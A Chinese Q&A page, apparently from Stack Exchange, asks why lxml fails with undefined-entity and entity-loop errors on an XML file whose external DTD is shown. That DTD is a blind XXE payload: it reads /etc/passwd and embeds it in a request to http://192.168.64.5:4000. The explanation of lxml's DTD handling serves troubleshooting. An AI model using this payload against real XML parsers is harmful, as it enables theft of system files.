You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

LXML解析含外部DTD的XML文件时遇实体及循环引用错误

XML实体解析问题分析

XML文件内容

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "test.dtd" [
        <!ELEMENT data ANY>
]>
<data>&send;</data>

DTD文件内容

<!ENTITY % passwd SYSTEM "../../../../etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://192.168.64.5:4000/?%passwd;'>">
%wrapper;

初始解析尝试

使用默认解析逻辑,代码如下:

import lxml.etree as etree
tree = etree.parse('blind.xml')
print(etree.tostring(tree))

执行后报错:

lxml.etree.XMLSyntaxError: Entity 'send' not defined, line 5, column 13

原因很直接:lxml默认不会加载外部DTD文件,XML里引用的&send;实体未被定义,因此报错。

添加load_dtd=True后的尝试

修改代码启用外部DTD加载:

import lxml.etree as etree
parser = etree.XMLParser(load_dtd=True)
tree = etree.parse('blind.xml', parser)
print(etree.tostring(tree))

执行后触发循环引用报错:

lxml.etree.XMLSyntaxError: Detected an entity reference loop, line 2, column 80

问题原因详解

  • load_dtd=True的处理逻辑:
    开启该参数后,lxml会加载外部DTD,但并非以纯外部DTD的方式处理,而是将外部DTD内容合并到XML的内部DTD子集中,以“伪内部”状态解析。
  • 参数实体嵌套的限制:
    XML规范对内部DTD子集的参数实体处理有严格限制——内部子集不允许参数实体在声明中进行间接递归/嵌套引用。你的DTD里,%wrapper;展开后包含对%passwd;的引用,在lxml的“伪内部”模式下,解析器会误判这是循环引用:展开%wrapper;需要解析%passwd;,而%passwd;的生效又依赖%wrapper;的展开,最终触发循环检测报错。
  • 外部DTD与内部子集的差异:
    这种间接嵌套的参数实体定义在纯外部DTD规则下是合法的,但lxml的load_dtd=True机制将外部DTD合并到内部子集处理,导致原本合法的定义触发了内部子集的限制。

内容的提问来源于stack exchange,提问作者rdre8

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.26 01:45:34